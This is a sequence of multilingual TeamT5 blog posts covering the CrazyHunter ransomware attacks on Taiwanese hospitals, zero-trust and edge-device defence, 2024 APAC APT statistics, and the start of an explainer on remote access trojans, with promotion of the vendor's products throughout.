- Confirm whether network access rules and account permission policies comply with the least privilege principles.
- Confirm whether the mechanism of data backup and restoration is complete and is not likely to be controlled and cleared by attackers.
- Implement vulnerability and patch management processes for system and device, and strengthen endpoint protection measures.
- Stay informed on cyber threat intelligence, prepare in advance and rectify weaknesses that may be attacked. 
- Establish an incident response process.

 

>TeamT5 has assisted many local and international companies in dealing with ransomware attacks. The award-winning team is the most reliable partner for companies in responding to incidents, defending diverse malware intrusions and shielding against the evolving attacks.

>[Contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) today for a free trial.

TeamT5 Timely Copes with CrazyHunter Ransomware Attacks [Demo Video]

>近年、台湾の医療機関はランサムウェアによる攻撃を頻繁に受けています。[衛生福利部（MOHW）はこのインシデントを「組織的な攻撃」](https://www.mohw.gov.tw/cp-16-81726-1.html)と定義する通達を発表しており、他の病院が次の標的となる可能性もあります。
>
>この記事では、企業や組織がランサムウェアに効果的に対応するための重要な原則について解説します。


2月上旬に馬偕記念病院がランサムウェア組織CrazyHunterの攻撃を受けた後、3月上旬にも彰化基督教病院がランサムウェアの攻撃を受けました。MOHWが関連ベンダーを招集して調査と確認を行った結果、3月の攻撃もCrazyHunterによるものであることが確認されました。TeamT5はこの脅威状況を迅速に把握し、連続攻撃のマルウェアのIoCインテリジェンスをまとめました。TeamT5のMDR（Managed Detection and Response）チームは、クラウド顧客が環境内のすべてのエンドポイントを網羅する徹底的なスキャンを完了できるよう、積極的に支援しました。なお、現在はランサムウェア攻撃の兆候はありません。


ランサムウェア攻撃に直面した場合、企業はまずマルウェアの拡散を防ぐために感染したデバイスを隔離し、影響が及ぶ範囲を想定、そして利用可能なバックアップがあるかどうかの確認を行い、サイバーセキュリティの専門家チームや法執行機関に支援を求める必要があります。なぜなら、身代金を支払うことは、データの復号化とシステムの回復を保証できないだけでなく、攻撃者の恐喝行為を助長する可能性があるからです。


最も重要なことは、企業はサイバーセキュリティの防御を強化することです。例えば、エンドポイント検出応答（EDR）ソフトウェアを使用して、組織内のエンドポイントを常時監視することです。EDRは異常な動作が検出された場合、悪意のあるランサムウェア攻撃を即座にブロックすることが可能です。


[ThreatSonar Anti-Ransomware](https://teamt5.org/jp/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website) は、台湾の現地サイバーセキュリティ企業TeamT5が独自に開発したもので、ランサムウェアのブロックに特化して設計されています。エンジンの自己学習メカニズムにより、頻繁に使用されるプログラムや新しいマルウェアを自動的に判断し、暗号化されたファイルを効果的にスキャンします。このプラットフォームは、[国際展示会COMPUTEX TAIPEIでComputex Best Choice Awardの金賞](https://bcaward.computex.biz/WinnerYearDetail.aspx?index=9390&awtype=000000001&year=2024&sort=2)も受賞しています。また、同プラットフォームは、企業や組織にタイムリーな検知、脅威攻撃の即時遮断、攻撃経路の可視化を提供しており、インシデントへの迅速な対応と保護措置を促進します。




ThreatSonar Anti-Ransomware の導入は簡単に行うことができ、企業はランサムウェアから効果的に防御し、最近発生した同様のインシデントを回避することができます。以下のビデオでは、ThreatSonarがランサムウェア攻撃のブロックに成功した例を紹介しています。

 
![](https://uploads.teamt5.org/upload/original/how-hospitals-deal-with-ransomware-attacks_en_1.JPG)
<center>ThreatSonar Anti-Ransomware はランサムウェア検出メカニズムを持っており、自動的にリアルタイムのアラートを発したり、プログラムを削除したりすることができます。</center>

 
![](https://uploads.teamt5.org/upload/original/how-hospitals-deal-with-ransomware-attacks_en_2.JPG)
<center>ランサムウェアが検出されると、ThreatSonar Anti-Ransomware は直ちにランサムウェアをブロックし、プログラムの実行を終了します。</center>

 
![](https://uploads.teamt5.org/upload/original/how-hospitals-deal-with-ransomware-attacks_en_3.JPG)
<center>ThreatSonar Anti-Ransomware がランサムウェア攻撃を検出すると、「インシデント」ページに攻撃パスが表示されます。</center>

 
![](https://uploads.teamt5.org/upload/original/how-hospitals-deal-with-ransomware-attacks_en_4.JPG)
<center>ThreatSonar Anti-Ransomware は、ランサムウェア攻撃をリアルタイムでブロックします。</center>

 

<center>
<iframe width="560" height="315" src="https://www.youtube.com/embed/NLNU_I10C5o?si=NK2UIek8QCvr7arI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
</center>

<center>ThreatSonar Anti-RansomwareはどのようにCrazyHunterランサムウェア攻撃をブロックするのでしょうか？</center>

 

TeamT5は企業や組織に向け、未知で深刻なランサムウェア攻撃に対し事前対策を取ることを推奨します。予防、検知、対応策として以下が挙げられます：
- 外部システムやVPNデバイスの権限管理状況がしっかりしているかの確認
- ネットワークアクセスルールとアカウント権限ポリシーが最小権限の原則に準拠しているかの確認
- データのバックアップやリストアの仕組みが万全で、攻撃者に制御・消去される可能性がないかの確認
- システムやデバイスの脆弱性対策やパッチ管理プロセスを実施し、エンドポイント保護対策を強化
- サイバー脅威インテリジェンスに関する情報を収集して事前準備を行い、攻撃される可能性のある弱点を是正
- インシデント対応プロセスを確立

 

>TeamT5は、ランサムウェア攻撃への対応において、国内外の多くの企業を支援してきました。受賞歴のある当社チームは、インシデントへの対応、多様なマルウェアの侵入や進化する攻撃からの防御に秀でており、企業にとって最も信頼できるパートナーです。

>[無料トライアルはこちらから](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)

TeamT5、CrazyHunterランサムウェア攻撃に適時対処

針對近日醫療院所遭到勒索軟體攻擊事件，TeamT5 觀察到勒索軟體組織 CrazyHunter，透過自帶合法驅動程式 zam64.sys（電腦惡意軟體即時防護軟體 Zemana AntiMalware），來提升權限，並透過 AD GPO 機制散播勒索軟體，達到加密端點主機資料目的。

此一攻擊過程，將可能讓攻擊者在取得系統權限後，得以停用場域端點防護機制（EDR），使攻擊行為無法在第一時間被偵測阻擋，並可刪除系統還原保護機制與加密端點上所有資料檔案，從而衍生資料外洩等疑慮。故 [TeamT5 CSIRT](https://teamt5.org/tw/posts/teamt5-csirt/?utm_source=news&utm_medium=website) & PSIRT 立即採取行動，協助客戶及合作夥伴應對防範，也為大眾提出該類事件的處置建議。

##TeamT5 採取的行動
###威脅分析
事件樣本經 TeamT5 威脅情資團隊分析後發現，該勒索軟體是基於 Prince Ransomware 所開發。再進一步追蹤所關聯的惡意程式後，發現開發資訊有簡體中文，可辨別攻擊者的來源；另勒索軟體利用群組原則物件（Group Policy Object, GPO）散播所使用之工具為 SharpGPOAbuse，攻擊者於內網滲透時常用此工具來對 AD 操作，進一步控制企業網路。

###服務監控
TeamT5 MDR 服務團隊已主動針對事件 IoC（詳見參考資訊），巡檢客戶場域是否有存在相關惡意程式狀況，並檢視場域端點報告及活動紀錄，確保無潛在威脅存在。目前 TeamT5 所維護場域，尚無遭此事件影響狀況。

###產品偵測
針對本次事件中勒索軟體所利用之驅動程式（zam64.sys），已在 TeamT5 的 ThreatSonar Anti-Ransomware 偵測防護名單中，可有效偵測阻擋，確保不被攻擊者利用。另針對未知勒索軟體，ThreatSonar Anti-Ransomware 亦有偵測防護機制，可阻擋勒索加密行為。

 

##TeamT5 建議處置措施
面對 APT 及勒索軟體攻擊事件頻傳，TeamT5 建議場域仍需強化下列防護與應對措施：

- 在資安事件 IoC 發布時，應立即將情資匯入資安防護設備與平台中，主動偵掃確認是否有隱藏威脅存在。
- 掌握場域中網路終端設備、對外服務系統、內部核心 AD 管理與端點系統威脅情資，檢視可能發生之攻擊行為並導入相關防護機制，降低攻擊發生成功機率。
- 針對場域資安事件應變處理過程，建議透由「事前檢視預防」、「事中防護阻擋」與「事後復原強化」來面對可能發生之網路攻擊威脅，並將相關事證保留進行調查。
- 諮詢 TeamT5 威脅情資及事件處理服務團隊，協助檢視場域可能威脅，提早規劃應對方案，例如：
 - 採用 TeamT5 [ThreatVision 威脅情資平台](https://teamt5.org/tw/products/threatvision/?utm_source=blog&utm_medium=website)，關注最新網路攻擊威脅情資及[深暗網威脅情資](https://teamt5.org/tw/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)，掌握可能波及的攻擊情況及系統外洩帳密、資料洩露狀況，及時找出可能已遭入侵之破口，立即修補弱點，防範災情擴大。
 - 檢視場域網路系統架構與評估曝險狀況，針對核心系統如 Web、Email、ERP 及 AD 等與作業端點，導入 [ThreatSonar Anti-Ransomware 端點威脅鑑識分析與回應平台](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)，確保場域端點環境安全，並第一時間偵測回應與阻擋駭客攻擊威脅。

 

##TeamT5 的承諾
為確保客戶場域環境安全，TeamT5 提供多樣化的服務，以滿足客戶不同的安全需求，並始終以確保客戶系統安全作為優先事項。如有任何進一步的問題或需要更多資訊，請隨時與我們聯繫。



 

- 參考資訊：[衛福部資安資訊分享與分析中心：近期部分醫院遭勒索病毒攻擊，請各院加強戒備](https://hisac.nat.gov.tw/news?265)

 

>杜浦數位安全電腦資安事件應變小組與產品資安事件應變小組（[TeamT5 CSIRT](https://teamt5.org/tw/posts/teamt5-csirt/?utm_source=news&utm_medium=website) & PSIRT）主要提供客戶有關資安事件偵測、通報與應變處理服務，過程中會與客戶的 IT 及資安團隊進行密切配合，並於事前提供客戶面對網路威脅所需情資及專業工具，協助辨識與防禦威脅，事中進行偵測與因應與事後復原強化等服務。 
>
>IR 資安事件應變服務: [介紹](https://teamt5.org/tw/service/ir/?utm_source=blog&utm_medium=website) 
>MDR 威脅偵測應變代管服務: [介紹](https://teamt5.org/tw/service/mdr/?utm_source=blog&utm_medium=website) 
>
>若您有資安事件處理、應變的需求，歡迎填寫[諮詢表單](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)。

如何應對 CrazyHunter 勒索軟體攻擊事件【TeamT5 詳解】

基於「Never Trust, Always Verify（永不信任，一律驗證）」的原則，零信任策略假設威脅可能存在於內外部網路，因此在驗證前，不應預設信任任何使用者、系統或裝置。而端點，被視為主要攻擊面，對於整個組織的資安態勢而言非常重要。確保端點安全必要的早期偵測，能在威脅擴散前及時阻止，並維護資料與系統的完整性。若缺乏有效的端點安全，將無法完整實現零信任策略，且易遭受攻擊。因此，端點安全的重要性對於網路安全來說，是一層不可或缺的防護。

##終端設備遭受攻擊事件數急遽上升
根據TeamT5 的研究，在過去三年，終端設備經常被攻擊者當作初始入侵的目標，特別是來自中國的 APT 攻擊者。終端設備作為串接資料中心與真實世界的介面，負責收集資訊，卻經常被攻擊者用來滲透其目標。此外，我們也發現在過去兩年，中國 APT 攻擊者能挖掘端點漏洞，並能利用終端設備的零時差漏洞來進行攻擊。

利用漏洞進行攻擊的案例層出不窮。根據 [TeamT5 的分析研究](https://teamt5.org/tw/posts/alerts-of-exploiting-zyxel-zywall-usg-20-50/?utm_source=blog&utm_medium=website)，自 2023 年 7 月以來，威脅攻擊者已利用 Zyxel ZyWall USG 20/50 防火牆設備的兩關鍵漏洞進行攻擊，攻擊目標特別針對台灣企業組織。攻擊者在駭侵端點後，隨即部署殭屍網路，以用於進一步的指揮與控制（Command & Control）。

為了緩解和應對終端設備被攻擊的情況，漏洞修補仍然是目前最佳的解決方案。然而，對於那些尚未有漏洞修補的零時差漏洞，我們能採取哪些措施呢？

##該如何應對零時差漏洞？
我們建議使用以下對策來應對零時差漏洞：
###威脅情資：了解攻擊者，就如同攻擊者了解你的終端設備一樣。

由於多數攻擊者能挖掘零時差漏洞，並為受駭終端設備客製化後門，我們應更加了解攻擊者會如何利用漏洞，並採取相應的措施。

TeamT5 提供的《漏洞情資暨應對緩解雙週報》（Vulnerability Insights Report,  VIR），其中包含對重大漏洞及近期網路威脅的詳細分析。每份報告聚焦分析一個關鍵且極易被利用的漏洞，並提供漏洞利用情境及全球事件精華。而除了漏洞修補建議外，在使用者無法立即漏洞修補時，《漏洞情資暨應對緩解雙週報》更提供實用的緩解策略，協助使用者能主動保護其系統，並降低漏洞被利用帶來的風險。

隨著暗網威脅的日益增加，例如販售零時差漏洞、具針對性的漏洞利用，以及外洩的組織憑證或資料，讓採取更積極的防禦措施以制敵機先，顯得至關重要。

TeamT5 提供[深暗網威脅情資](https://teamt5.org/tw/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)，其中包括：
1. **深暗網定期監控告警**：每週深暗網自動掃描，監控深暗網中是否有外洩的憑證或資料。
2. **深暗網監控分析報告**：由 TeamT5 分析團隊提供專屬的威脅風險分析、最新威脅趨勢洞察，以及緩解建議。

### 端點威脅狩獵：主動狩獵隱藏威脅
作為亞太威脅情資的領導廠商，TeamT5 具備主動威脅狩獵技術，並且能夠提供零信任策略中的關鍵：以情資為導向的威脅狩獵。

TeamT5 的 ThreatSonar 內建數千種 APT（進階持續性威脅）後門特徵，將最新的威脅情資帶到每個端點，以協助進行威脅鑑識。此外，可匯入外部情資至 ThreatSonar，例如雜湊值、IP 位址、網域、Yara 規則和 IoC（入侵指標），以精準防禦針對性強的潛在威脅。


###結論
在無法完全避免安全漏洞的世界中，必須一律驗證，並切勿預設有安全無虞的網路存在。為了有效執行零信任策略，企業和組織必須：

- **了解攻擊者**：無論是透過 APT 威脅情資或暗網活動，了解攻擊者的手段能幫助企業強化零信任策略。
- **漏洞修補優先順序**：先處理最至關重要的漏洞，特別是那些正被攻擊者積極利用的漏洞。
- **暗網情資**：利用對暗網的洞見，以防範資料被竊和攻擊於未然。
- **主動威脅狩獵**： 即便採用了所有零信任策略，也不能忘記「永不信任，一律驗證」的原則，並隨時使用威脅狩獵工具來檢查網路安全狀態。


「Never Trust, Always Verify」－該如何強化零信任策略？

Based on the principle of "Never trust, always verify," the Zero-trust strategy assumes that threats exist both inside and outside the network, and therefore no users, systems, and devices should be trusted by default. Endpoint, often being the primary attack surface, is crucial for security posture of the entire organization. Endpoint security provides the early detection necessary to stop threats before they spread and maintains the integrity of data and systems. Without effective endpoint security, the Zero-trust strategy would be incomplete and vulnerable to exploitation, making it an indispensable layer in cybersecurity.

##Exploitation of Edge Device Surges 
According to TeamT5’s research, in the past 3 years, edge devices have been targeted as an initial compromise entry, especially by Chinese APT actors. Acting as the interface between the data center and the real world to collect information, edge devices are often exploited by actors to infiltrate their intended targets. We also find that in the past 2 years, Chinese APT actors are capable of finding the vulnerabilities of endpoints and exploit Zero-days on the edge devices.

Consider this case of vulnerability exploitation. According to [TeamT5’s analysis research](https://teamt5.org/en/posts/alerts-of-exploiting-zyxel-zywall-usg-20-50/?utm_source=blog&utm_medium=website), two critical vulnerabilities of the Zyxel ZyWall USG 20/50 firewall devices have been exploited by threat actors since July 2023, primarily targeting entities in Taiwan. After compromising the endpoint, the actors installed botnets for further command and control.

To mitigate and respond to edge device exploitation, applying the patch is still the best solution. However, for those Zero-days in the wild, since there is no patch available, what can we do?

##How to Respond to Zero-days? 
To respond to Zero-days, we suggest having the following countermeasures:

###Threat Intelligence: Understand actors like actors understand your edge devices.

Since the actors have the capability to find Zero-days and tailor backdoors for the compromised edge devices, we should know more about how the actors exploit the vulnerabilities and respond accordingly. 

TeamT5 provides the biweekly Vulnerability Insights Report (VIR) with a detailed analysis of severe vulnerabilities and recent cyber threats. Each VIR focuses on a single critical and highly exploitable vulnerability, offering exploit scenarios and global incident highlights. Besides remediation solutions, VIR also provides practical mitigation strategies when immediate fixes are not possible, enabling users to proactively protect their systems and mitigate identified vulnerabilities. 

As threats from the dark web are also rising, such as selling Zero-day exploits, target vulnerabilities and leaked credentials or data of the organizations, it is necessary to have more active defense to stay ahead of threats.

TeamT5 offers [Deep and Dark Web Risk Intelligence](https://teamt5.org/en/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website). One is the [Deep & Dark Web Risk Alert](https://teamt5.org/en/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website), discovering leaked credentials or data in the deep and dark web by automated scans. The other is the Deep & Dark Web Risk Tailored Report, including additional threat risk analysis, recent findings and mitigation suggestions provided by TeamT5’s analyst team.

###Endpoint Threat Hunting: Actively hunt for hidden threats

TeamT5, as the leading company in APAC threat intelligence with proactive threat hunting technology, can provide intelligence-driven threat hunting, the critical part of the Zero-trust strategy.

TeamT5’s ThreatSonar, with built-in thousands of APT backdoor signatures, provides the latest intelligence to every endpoint for threat forensics. Additionally, ThreatSonar allows the import of external intelligence such as hashes, IPs, domains, Yara rules, and IoCs to precisely defend against potential targeted threats.

##Conclusion
In a world where breaches are inevitable, always verify and never assume that any part of your network is completely safe. To conduct an effective Zero-trust strategy, businesses and organizations must:
- **Know Your Adversaries**: No matter it’s through threat intelligence on APT or dark web activities, understanding the enemy’s tactics can facilitate the enhancement of the Zero-trust strategy.
- **Prioritize Vulnerability for Patching**: Address the most critical vulnerabilities first, especially those that are actively being exploited.
- **Dark Web Intelligence**: Leverage insights from the dark web to prevent stolen data and attacks before they happen.
- **Proactive Threat Hunting**: Even adopting all the Zero-trust strategies, don’t forget the principle “Never Trust, Always Verify” and always use the threat hunting tool to verify your cyber security status.



“Never Trust, Always Verify” – How to Enhance Zero-trust Strategy?

ゼロトラスト戦略は、「Never trust, always verify」（信頼せず、常に検証する）という原則に基づき、脅威はネットワークの内外に存在するため、常時いかなるユーザー、システム、デバイスも信頼すべきではないという前提に立っています。エンドポイントは、しばしば主要な攻撃対象となるため、組織全体のセキュリティ態勢にとって極めて重要です。エンドポイントセキュリティは、早期検知によって脅威が広がる前に食い止め、データとシステムの完全性を維持します。効果的なエンドポイントセキュリティがなければ、ゼロトラスト戦略は不完全なものとなり、攻撃を受けやすくなります。したがって、エンドポイントセキュリティの重要性は、ネットワークセキュリティにとって必要不可欠な防御層と言えます。

##急増するエンドポイントへの攻撃

TeamT5の調査によると、過去3年間、エンドポイントは中国発のAPTアクターなどの攻撃者によって、常に侵害の入り口として狙われてきました。エンドポイントは、データセンターと実世界の間のインターフェイスとして機能し、情報を収集するため、しばしば攻撃者によってターゲットに侵入するために悪用されます。また、過去2年間で、中国のAPTアクターはエンドポイントの脆弱性を発見し、エンドポイントのゼロデイを悪用する能力があることが分かっています。

脆弱性悪用の事例が多数発生しており、[TeamT5の分析調査](https://teamt5.org/jp/posts/alerts-of-exploiting-zyxel-zywall-usg-20-50/?utm_source=blog&utm_medium=website)によると、2023年7月以降、Zyxel ZyWall USG 20/50ファイアウォールデバイスの2つの重大な脆弱性が、主に台湾の企業組織を標的とする脅威アクターによって悪用されています。攻撃者はエンドポイントを侵害した後、ボットネットをインストールし、コマンド＆コントロールを行いました。

脆弱性パッチは、エンドポイントへの攻撃を緩和し、対応するための最善のソリューションであることに変わりはありません。 しかし、未だパッチが提供されていないゼロデイ脆弱性についてはどうすればよいのでしょうか？

##ゼロデイ脆弱性にどう対応するか？
ゼロデイ脆弱性に対応するためには、次のような対策が必要です： 

###脅威インテリジェンス：攻撃者が標的とするエンドポイントを知るように、攻撃者を知ることが可能
多くの攻撃者はゼロデイ脆弱性を見つけ、侵害されたエンドポイントにバックドアを作る能力を持っているため、攻撃者がどのように脆弱性を悪用するのかをもっと知り、それに応じて対応するべきです。

TeamT5は、深刻な脆弱性と最近のサイバー脅威の詳細な分析をまとめたVulnerability Insights Report（VIR）を隔週で提供しています。各VIRは、1つの重大で悪用される可能性の高い脆弱性に焦点を当て、悪用シナリオや世界的なインシデントのハイライトを提供しています。また、復旧ソリューションに加え、即時の修正が不可能な場合の実用的な緩和戦略も提供し、ユーザーが積極的にシステムを保護し、特定の脆弱性を緩和することを可能にします。
ダークウェブからの脅威も増加しており、例えば、ゼロデイエクスプロイト、標的の脆弱性、組織の漏えいした認証情報やデータの販売などがあります。

TeamT5が提供[するディープ＆ダークウェブインテリジェンス](https://teamt5.org/jp/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)は以下を含みます：

**1. Weekly Alert**：ディープウェブとダークウェブを自動スキャンし、漏えいした認証情報やデータを監視します。

**2. Tailored Report**：脅威のリスク評価、最新の調査結果、緩和策の提案など、より深いレベルの分析を提供します。

###エンドポイント脅威ハンティング： 隠れた脅威を積極的に特定

TeamT5は、プロアクティブな脅威ハンティング技術を持つアジア太平洋地域の脅威インテリジェンスのリーディングカンパニーとして、ゼロトラスト戦略の重要な部分であるインテリジェンス主導の脅威ハンティングを提供することができます。

TeamT5のThreatSonarは、何千ものAPTバックドアシグネチャを内蔵しており、脅威フォレンジックのために最新のインテリジェンスを各エンドポイントに提供します。また、ハッシュ、IP、ドメイン、Yaraルール、IoCなどの外部インテリジェンスのインポートを可能にし、潜在的な標的型脅威を的確に防御します。

##結論

セキュリティ侵害を完全に避けることが難しい世界において、ネットワークのあらゆる部分が安全であるように常に検証することが不可欠です。 ゼロトラスト戦略を効果的に実施するために、企業や組織は次のことが推奨されます：
- **敵を知る**： APT脅威インテリジェンスやダークウェブの活動であろうと、攻撃者の戦術を理解することで、ゼロトラスト戦略の強化を促進することができます。
- **パッチを適用する脆弱性の優先順位付け**： 最も重要な脆弱性、特に積極的に悪用されている脆弱性に最初に対処します。
- **ダークウェブインテリジェンス**： 盗まれたデータや攻撃を未然に防ぐために、ダークウェブからの知見を活用します。
- **プロアクティブな脅威ハンティング**： ゼロトラスト戦略を採用しても、「Never Trust, Always Verify（信頼せず、常に検証する）」という原則を忘れず、常に脅威ハンティングツールを使用してサイバーセキュリティの状態を検証します。

 
>TeamT5は、世界トップクラスのサイバー脅威アナリストで構成されているセキュリティベンダーであり、地理的・文化的優位性を活かし、極東アジアのサイバー攻撃者に特化しています。また、国際的なサイバーセキュリティカンファレンスにも頻繁に招待され、研究や見識を共有しています。当社の脅威インテリジェンス研究の専門知識とソリューションは、フロスト＆サリバンから2023、2024年度台湾脅威インテリジェンス分野の年間最優秀企業賞（Taiwanese Threat Intelligence Industry Company of the Year Award）を受賞しました。
>
>TeamT5のサイバーセキュリティ製品とサービスの詳細については、弊社までぜひお問い合わせください。 https://teamt5.org/jp/contact-us/

“Never Trust, Always Verify”－ゼロトラスト戦略を強化するには？

>TeamT5 杜浦數位安全為專精亞太地區威脅情資的領導品牌。於此篇文章中，我們總結 2024 年亞太地區進階持續性威脅（APT）的威脅態勢，不僅提出年度觀察，更指出未來一年值得留意的資安威脅。

>本篇文章為節錄版，摘述關鍵數據與威脅情資分析。**欲取得完整《2024年威脅態勢回顧: 網路攻擊的模糊地帶》報告，您可以直接填寫文章末尾表格，我們將透過電子郵件、寄送給您。**

>欲探索更多亞太地區的威脅情資，立刻申請獲得國際顧問公司肯定的威脅情資平台 ThreatVision 試用機會。請在 [ThreatVision 頁面](https://teamt5.org/tw/products/threatvision/?utm_source=blog&utm_medium=website) 說明您希望申請試用。

##Threat Statistics in 2024: Data & Observations

In 2024, until the end of November, TeamT5 actively tracked 30 new vulnerabilities being exploited in the wild, along with around 500 attack operations across 42 countries, which we attributed to 73 known adversaries and more than 200 malware / hacking tools being used. 

We also identified 45 victims being compromised in 9 countries and tried to notify through our trustworthy partners. And helped 33 IR cases for our customers. You could imagine all the above data contributing to our intelligence reports. Generally speaking, most of them show a tendency of increasing.

TeamT5 is actively tracking vulnerability exploitation attacks in the wild. In 2024, 30 widespread attacks were tracked by TeamT5, around 400 victim hosts across 21 countries were identified to be compromised.

We would like to highlight that 5 of them are email system related and 14 are exploiting edge devices, indicating they are high priorities of threat actors to access targets. Our research also shows EtherBei (aka Flax Typhoon) to be the most active threat actors to adopt these exploits.

During the course of our research, we also discovered some threat actors built their botnet or so called Operation Relay Box network by implanting malware like GobRAT, NatWalk and GenSeven.

Lastly, there’s also a tendency that more management services of edge devices are being exploited, such as FortiManager, Versa Director or Palo Alto Firewall, e.t.c., meaning that threat actors might compromise multiple entities by intruding on one device. We believe this is a threat that management service providers or big enterprises should be aware of.

![](https://uploads.teamt5.org/upload/original/pic1_apt-threat-landscape-in-apac-2024.png)

 

>本篇文章為節錄版，摘述關鍵數據與威脅情資分析。欲取得完整《2024年威脅態勢回顧: 網路攻擊的模糊地帶》報告，您可以直接填寫文章末尾表格，我們將透過電子郵件、寄送給您。

>欲探索更多亞太地區的威脅情資，立刻申請獲得國際顧問公司肯定的威脅情資平台 ThreatVision 試用機會。請在 [ThreatVision 頁面](https://teamt5.org/tw/products/threatvision/?utm_source=blog&utm_medium=website) 說明您希望申請試用。

2024年威脅態勢回顧: 網路攻擊的模糊地帶【英文威脅情資報告】

>TeamT5 is a leading brand in delivering Asia Pacific intelligence. In this article, we summarize the threat landscape of advanced persistent threats (APT) in the Asia-Pacific region in 2024, not only provide annual observations, but also point out the cyber threats worth paying attention to in 2024.

>This article is an excerpt version which summarizes key statistics. **To obtain the complete threat intelligence report, you may fill up the form at the bottom to obtain the “APT Threat Landscape in APAC 2024: Blurred Lines of Cyber Attacks” report.**

>To discover similar cyber threat intelligence which is focused in the Asia-Pacific region, please sign up for the trial of our award-winning threat intelligence platform ThreatVision. Please indicate on the [ThreatVision page](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) that you would like to apply for trial.

##Threat Statistics in 2024: Data & Observations

In 2024, until the end of November, TeamT5 actively tracked 30 new vulnerabilities being exploited in the wild, along with around 500 attack operations across 42 countries, which we attributed to 73 known adversaries and more than 200 malware / hacking tools being used. 

We also identified 45 victims being compromised in 9 countries and tried to notify through our trustworthy partners. And helped 33 IR cases for our customers. You could imagine all the above data contributing to our intelligence reports. Generally speaking, most of them show a tendency of increasing.

TeamT5 is actively tracking vulnerability exploitation attacks in the wild. In 2024, 30 widespread attacks were tracked by TeamT5, around 400 victim hosts across 21 countries were identified to be compromised.

We would like to highlight that 5 of them are email system related and 14 are exploiting edge devices, indicating they are high priorities of threat actors to access targets. Our research also shows EtherBei (aka Flax Typhoon) to be the most active threat actors to adopt these exploits.

During the course of our research, we also discovered some threat actors built their botnet or so called Operation Relay Box network by implanting malware like GobRAT, NatWalk and GenSeven.

Lastly, there’s also a tendency that more management services of edge devices are being exploited, such as FortiManager, Versa Director or Palo Alto Firewall, e.t.c., meaning that threat actors might compromise multiple entities by intruding on one device. We believe this is a threat that management service providers or big enterprises should be aware of.

![](https://uploads.teamt5.org/upload/original/pic1_apt-threat-landscape-in-apac-2024.png)

>This article is an excerpt version which summarizes key statistics. To obtain the complete threat intelligence report, you may fill up the form at the bottom to obtain the “APT Threat Landscape in APAC 2024: Blurred Lines of Cyber Attacks” report.

>To discover similar cyber threat intelligence which is focused in the Asia-Pacific region, please sign up for the trial of our award-winning threat intelligence platform ThreatVision. Please indicate on the [ThreatVision page](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) that you would like to apply for trial.


APT Threat Landscape in APAC 2024: Blurred Lines of Cyber Attacks

>TeamT5は、アジア太平洋地域(APAC)における脅威インテリジェンスを専門とするセキュリティベンダーです。 本記事では、2024年のAPACにおけるAPT（Advanced Persistent Threats：高度標的型攻撃）の脅威状況をまとめ、毎年恒例のレビューだけでなく、今後1年間注意すべきセキュリティ脅威についてもご紹介します。

>本記事は、主要データと脅威インテリジェンス分析を要約したものです。 **「2024年脅威ランドスケープのレビュー：曖昧になるサイバー攻撃の境界線」全文の閲覧をご希望の方は、下部のフォームにご記入ください**。

>アジア太平洋地域の脅威インテリジェンスについてさらに詳しく知りたい方は、国際的なコンサルタントから受賞歴のある脅威インテリジェンスプラットフォームThreatVisionのトライアルを申し込むことが出来ます。[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website)のページよりトライアルを希望する旨をご記入ください。

##Threat Statistics in 2024: Data & Observations

In 2024, until the end of November, TeamT5 actively tracked 30 new vulnerabilities being exploited in the wild, along with around 500 attack operations across 42 countries, which we attributed to 73 known adversaries and more than 200 malware / hacking tools being used. 

We also identified 45 victims being compromised in 9 countries and tried to notify through our trustworthy partners. And helped 33 IR cases for our customers. You could imagine all the above data contributing to our intelligence reports. Generally speaking, most of them show a tendency of increasing.

TeamT5 is actively tracking vulnerability exploitation attacks in the wild. In 2024, 30 widespread attacks were tracked by TeamT5, around 400 victim hosts across 21 countries were identified to be compromised.

We would like to highlight that 5 of them are email system related and 14 are exploiting edge devices, indicating they are high priorities of threat actors to access targets. Our research also shows EtherBei (aka Flax Typhoon) to be the most active threat actors to adopt these exploits.

During the course of our research, we also discovered some threat actors built their botnet or so called Operation Relay Box network by implanting malware like GobRAT, NatWalk and GenSeven.

Lastly, there’s also a tendency that more management services of edge devices are being exploited, such as FortiManager, Versa Director or Palo Alto Firewall, e.t.c., meaning that threat actors might compromise multiple entities by intruding on one device. We believe this is a threat that management service providers or big enterprises should be aware of.

![](https://uploads.teamt5.org/upload/original/pic1_apt-threat-landscape-in-apac-2024.png)

>本記事は、主要データと脅威インテリジェンス分析を要約したものです。 「2024年脅威ランドスケープのレビュー：曖昧になるサイバー攻撃の境界線」全文の閲覧をご希望の方は、下部のフォームにご記入ください。

>アジア太平洋地域の脅威インテリジェンスについてさらに詳しく知りたい方は、国際的なコンサルタントから受賞歴のある脅威インテリジェンスプラットフォームThreatVisionのトライアルを申し込むことが出来ます。[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website)のページよりトライアルを希望する旨をご記入ください。


2024年脅威ランドスケープのレビュー：曖昧になるサイバー攻撃の境界線【脅威インテリジェンスレポート(英語ver.)】

Despite the evolution of cybersecurity tools, one persistent threat continues to challenge security measures and exploit vulnerabilities: Remote Access Trojans (RATs). These malicious programs grant cybercriminals unauthorized access and control over targeted systems, posing significant risks to both individual users and organizations. Understanding RATs, their mechanisms, and their implications is crucial in fortifying cybersecurity defenses.

## What is a RAT?
A Remote Access Trojan (RAT) is a type of malware designed to give an attacker complete control over a target computer. Once a RAT infects a system, it establishes a backdoor, allowing the attacker to perform a wide range of malicious activities, such as:

- **Keylogging**: Capturing and recording the keystrokes of the user to steal sensitive information like passwords and credit card details.
- **Screen Capture**: Taking screenshots or live video of the user’s activities.
- **File Access**: Uploading, downloading, or deleting files from the infected system.
